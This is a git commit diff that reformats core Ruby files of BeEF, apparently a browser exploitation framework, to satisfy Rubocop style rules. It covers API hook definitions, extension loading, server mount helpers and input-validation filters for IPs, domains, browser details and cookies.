Core: Resolve many Rubocop violations (#2282)

This commit is contained in:
bcoles
2022-01-24 16:25:39 +11:00
committed by GitHub
parent 9f7e1ecfc1
commit 124c9d60b3
105 changed files with 3480 additions and 3715 deletions

View File

@@ -117,7 +117,7 @@ module BeEF
next unless r['method'] == method
next unless is_matched_params? r, params
owners << { :owner => r['owner'], :id => r['id'] }
owners << { owner: r['owner'], id: r['id'] }
end
owners
end
@@ -192,17 +192,13 @@ module BeEF
data = []
method = get_api_path(clss, mthd)
mods.each do |mod|
begin
# Only used for API Development (very verbose)
# print_info "API: #{mod} fired #{method}"
# Only used for API Development (very verbose)
# print_info "API: #{mod} fired #{method}"
result = mod[:owner].method(method).call(*args)
unless result.nil?
data << { :api_id => mod[:id], :data => result }
end
rescue => e
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
end
result = mod[:owner].method(method).call(*args)
data << { api_id: mod[:id], data: result } unless result.nil?
rescue StandardError => e
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
end
data

View File

@@ -7,14 +7,11 @@
module BeEF
module API
module Extension
attr_reader :full_name, :short_name, :description
@full_name = ''
@short_name = ''
@description = ''
end
end
end

View File

@@ -6,16 +6,13 @@
module BeEF
module API
module Extensions
# @note Defined API Paths
API_PATHS = {
'post_load' => :post_load
}
'post_load' => :post_load
}.freeze
# API hook fired after all extensions have been loaded
def post_load;
end
def post_load; end
end
end
end

View File

@@ -4,19 +4,16 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Configuration
# @note Defined API Paths
API_PATHS = {
module API
module Configuration
# @note Defined API Paths
API_PATHS = {
'module_configuration_load' => :module_configuration_load
}
# Fires just after module configuration is loaded and merged
# @param [String] mod module key
def module_configuration_load(mod); end
}.freeze
# Fires just after module configuration is loaded and merged
# @param [String] mod module key
def module_configuration_load(mod); end
end
end
end
end

View File

@@ -4,18 +4,15 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Migration
# @note Defined API Paths
API_PATHS = {
module API
module Migration
# @note Defined API Paths
API_PATHS = {
'migrate_commands' => :migrate_commands
}
}.freeze
# Fired just after the migration process
def migrate_commands; end
# Fired just after the migration process
def migrate_commands; end
end
end
end
end

View File

@@ -4,33 +4,31 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module NetworkStack
module Handlers
module AssetHandler
module API
module NetworkStack
module Handlers
module AssetHandler
# Binds a file to be accessible by the hooked browser
# @param [String] file file to be served
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
# @param [String] extension to be used in the URL
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
# @return [String] URL bound to the specified file
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.bind(file, path = nil, extension = nil, count = -1)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
end
# Binds a file to be accessible by the hooked browser
# @param [String] file file to be served
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
# @param [String] extension to be used in the URL
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
# @return [String] URL bound to the specified file
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.bind(file, path=nil, extension=nil, count=-1)
return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
# Unbinds a file made accessible to hooked browsers
# @param [String] url the bound URL
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.unbind(url)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
end
end
end
end
# Unbinds a file made accessible to hooked browsers
# @param [String] url the bound URL
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.unbind(url)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
end
end
end
end
end
end
end

View File

@@ -4,40 +4,37 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Server
# @note Defined API Paths
API_PATHS = {
module API
module Server
# @note Defined API Paths
API_PATHS = {
'mount_handler' => :mount_handler,
'pre_http_start' => :pre_http_start
}
# Fires just before the HTTP Server is started
# @param [Object] http_hook_server HTTP Server object
def pre_http_start(http_hook_server); end
# Fires just after handlers have been mounted
# @param [Object] server HTTP Server object
def mount_handler(server); end
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Class] http_handler_class the handler Class
# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
}.freeze
# Unmounts a handler
# @param [String] url URL to be unmounted
# @note This is a direct API call and does not have to be registered to be used
def self.unmount(url)
# Fires just before the HTTP Server is started
# @param [Object] http_hook_server HTTP Server object
def pre_http_start(http_hook_server); end
# Fires just after handlers have been mounted
# @param [Object] server HTTP Server object
def mount_handler(server); end
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Class] http_handler_class the handler Class
# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
# Unmounts a handler
# @param [String] url URL to be unmounted
# @note This is a direct API call and does not have to be registered to be used
def self.unmount(url)
BeEF::Core::Server.instance.unmount(url)
end
end
end
end
end
end

View File

@@ -4,21 +4,18 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Server
module Hook
module API
module Server
module Hook
# @note Defined API Paths
API_PATHS = {
'pre_hook_send' => :pre_hook_send
}.freeze
# @note Defined API Paths
API_PATHS = {
'pre_hook_send' => :pre_hook_send
}
# Fires just before the hook is sent to the hooked browser
# @param [Class] handler the associated handler Class
def pre_hook_send(handler); end
# Fires just before the hook is sent to the hooked browser
# @param [Class] handler the associated handler Class
def pre_hook_send(handler); end
end
end
end
end
end
end

View File

@@ -5,22 +5,20 @@
#
module BeEF
module API
module Command
end
module Module
# @note Defined API Paths
API_PATHS = {
'pre_soft_load' => :pre_soft_load,
'post_soft_load' => :post_soft_load,
'pre_hard_load' => :pre_hard_load,
'post_hard_load' => :post_hard_load,
'get_options' => :get_options,
'get_payload_options' => :get_payload_options,
'override_execute' => :override_execute
}
'pre_soft_load' => :pre_soft_load,
'post_soft_load' => :post_soft_load,
'pre_hard_load' => :pre_hard_load,
'post_hard_load' => :post_hard_load,
'get_options' => :get_options,
'get_payload_options' => :get_payload_options,
'override_execute' => :override_execute
}.freeze
# Fired before a module soft load
# @param [String] mod module key of module about to be soft loaded
@@ -54,8 +52,6 @@ module BeEF
# @return [Hash] a hash of options
# @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.
def get_payload_options; end
end
end
end

View File

@@ -5,18 +5,14 @@
#
module BeEF
module API
module Modules
# @note Defined API Paths
API_PATHS = {
'post_soft_load' => :post_soft_load
}
'post_soft_load' => :post_soft_load
}.freeze
# Fires just after all modules are soft loaded
def post_soft_load; end
end
end
end

View File

@@ -5,7 +5,6 @@
#
module BeEF
module Core
end
end
@@ -14,7 +13,6 @@ require 'core/main/router/router'
require 'core/main/router/api'
require 'core/main/router/error_responses'
## @note Include http server functions for beef
require 'core/main/server'
require 'core/main/handlers/modules/beefjs'

View File

@@ -4,9 +4,8 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
end
module Core
end
end
# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
@@ -38,4 +37,3 @@ require 'core/main/geoip'
# @note Include the command line parser and the banner printer
require 'core/main/console/commandline'
require 'core/main/console/banners'

View File

@@ -5,7 +5,6 @@
#
module BeEF
module Extension
# Checks to see if extension is set inside the configuration
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension exists in BeEF's configuration
@@ -15,9 +14,10 @@ module BeEF
# Checks to see if extension is enabled in configuration
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension is enabled
# @return [Boolean] whether or not the extension is enabled
def self.is_enabled(ext)
return false unless is_present(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true
end
@@ -26,10 +26,11 @@ module BeEF
# @return [Boolean] whether or not the extension is loaded
def self.is_loaded(ext)
return false unless is_enabled(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true
end
# Loads an extension
# Loads an extension
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension loaded successfully
def self.load(ext)
@@ -41,7 +42,7 @@ module BeEF
end
print_error "Unable to load extension '#{ext}'"
false
rescue => e
rescue StandardError => e
print_error "Unable to load extension '#{ext}':"
print_more e.message
end

View File

@@ -5,12 +5,11 @@
#
module BeEF
module Extensions
# Returns configuration of all enabled extensions
# @return [Array] an array of extension configuration hashes that are enabled
def self.get_enabled
BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
rescue => e
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true }
rescue StandardError => e
print_error "Failed to get enabled extensions: #{e.message}"
print_error e.backtrace
end
@@ -18,8 +17,8 @@ module BeEF
# Returns configuration of all loaded extensions
# @return [Array] an array of extension configuration hashes that are loaded
def self.get_loaded
BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
rescue => e
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true }
rescue StandardError => e
print_error "Failed to get loaded extensions: #{e.message}"
print_error e.backtrace
end
@@ -28,12 +27,12 @@ module BeEF
# @note API fire for post_load
def self.load
BeEF::Core::Configuration.instance.load_extensions_config
self.get_enabled.each { |k,v|
get_enabled.each do |k, _v|
BeEF::Extension.load k
}
end
# API post extension load
BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
rescue => e
rescue StandardError => e
print_error "Failed to load extensions: #{e.message}"
print_error e.backtrace
end

View File

@@ -5,7 +5,6 @@
#
module BeEF
module Filters
end
end

View File

@@ -4,196 +4,211 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
module Filters
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
true
true
end
# Check if only the characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
!regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null?(str)
return false unless is_non_empty_string?(str)
exists?('\x00', str)
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false unless is_non_empty_string?(str)
!only?('[:print:]', str)
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false unless is_non_empty_string?(str)
only?('0-9', str)
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false unless is_non_empty_string?(str)
return false unless only?('0-9\.', str)
!(str =~ /^\d+\.\d+$/).nil?
end
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false unless is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false unless is_non_empty_string?(str)
!(str =~ /^\d.*/).nil?
end
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false unless is_non_empty_string?(str)
exists?('\s', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false unless is_non_empty_string?(str)
only?('a-zA-Z0-9', str)
end
# @overload self.is_valid_ip?(ip, version)
# Checks if the given string is a valid IP address
# @param [String] ip string to be tested
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(ip, version = :both)
return false unless is_non_empty_string?(ip)
if case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
end
true
else
false
end
end
# Checks if the given string is a valid private IP address
# @param [String] ip string for testing
# @return [Boolean] true if the string is a valid private IP address, otherwise false
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
def self.is_valid_private_ip?(ip)
return false unless is_valid_ip?(ip)
ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false unless is_non_empty_string?(str)
!(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /\A(Yes|No)\z/i
true
end
end
# Check if only the characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null? (str)
return false unless is_non_empty_string?(str)
exists?('\x00', str)
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false unless is_non_empty_string?(str)
not only?('[:print:]', str)
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false unless is_non_empty_string?(str)
only?('0-9', str)
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false unless is_non_empty_string?(str)
return false unless only?('0-9\.', str)
not (str =~ /^[\d]+\.[\d]+$/).nil?
end
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false unless is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false unless is_non_empty_string?(str)
not (str =~ /^\d.*/).nil?
end
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false unless is_non_empty_string?(str)
exists?('\s', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false unless is_non_empty_string?(str)
only?("a-zA-Z0-9", str)
end
# @overload self.is_valid_ip?(ip, version)
# Checks if the given string is a valid IP address
# @param [String] ip string to be tested
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(ip, version = :both)
return false unless is_non_empty_string?(ip)
valid = case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
end ? true : false
valid
end
# Checks if the given string is a valid private IP address
# @param [String] ip string for testing
# @return [Boolean] true if the string is a valid private IP address, otherwise false
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
def self.is_valid_private_ip?(ip)
return false unless is_valid_ip?(ip)
return ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false unless is_non_empty_string?(str)
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil?
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /\A(Yes|No)\z/i
true
end
end
end

View File

@@ -4,148 +4,159 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
module Filters
# Check the browser type value - for example, 'FF'
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
# Check the browser type value - for example, 'FF'
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
true
end
true
end
# Check the Operating System name value - for example, 'Windows XP'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
# Check the Operating System name value - for example, 'Windows XP'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
# Check the Hardware name value - for example, 'iPhone'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
true
end
# Verify the browser version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return true if str.eql? "ALL"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 20
true
end
# Check the Hardware name value - for example, 'iPhone'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
# Verify the os version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid os version characters
def self.is_valid_osversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return true if str.eql? "ALL"
return false unless BeEF::Filters::only?("a-zA-Z0-9.<=> ", str)
return false if str.length > 20
true
end
true
end
# Verify the browser/UA string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 300
true
end
# Verify the cookies are valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
# Verify the browser version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? 'UNKNOWN'
return true if str.eql? 'ALL'
return false if !nums_only?(str) and !is_valid_float?(str)
return false if str.length > 20
# Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
true
end
# Verify the date stamp is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the os version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid os version characters
def self.is_valid_osversion?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? 'UNKNOWN'
return true if str.eql? 'ALL'
return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str)
return false if str.length > 20
# Verify the CPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
true
end
# Verify the memory string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid memory type characters
def self.is_valid_memory?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser/UA string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 300
# Verify the GPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid GPU type characters
def self.is_valid_gpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
# @note This string can be empty if there are no browser plugins
# @todo Verify if the ruby version statement is still necessary
def self.is_valid_browser_plugins?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 1000
if str.encoding === Encoding.find('UTF-8')
return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
else
return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
# Verify the cookies are valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
# Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the date stamp is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the CPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the memory string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid memory type characters
def self.is_valid_memory?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the GPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid GPU type characters
def self.is_valid_gpu?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
# @note This string can be empty if there are no browser plugins
# @todo Verify if the ruby version statement is still necessary
def self.is_valid_browser_plugins?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 1000
if str.encoding === Encoding.find('UTF-8')
(str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
else
(str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
end
end
end
end
end

View File

@@ -4,64 +4,68 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Check if the string is a valid path from a HTTP request
# @param [String] str String for testing
# @return [Boolean] If the string has valid path characters
def self.is_valid_path_info?(str)
return false if str.nil?
return false unless str.is_a? String
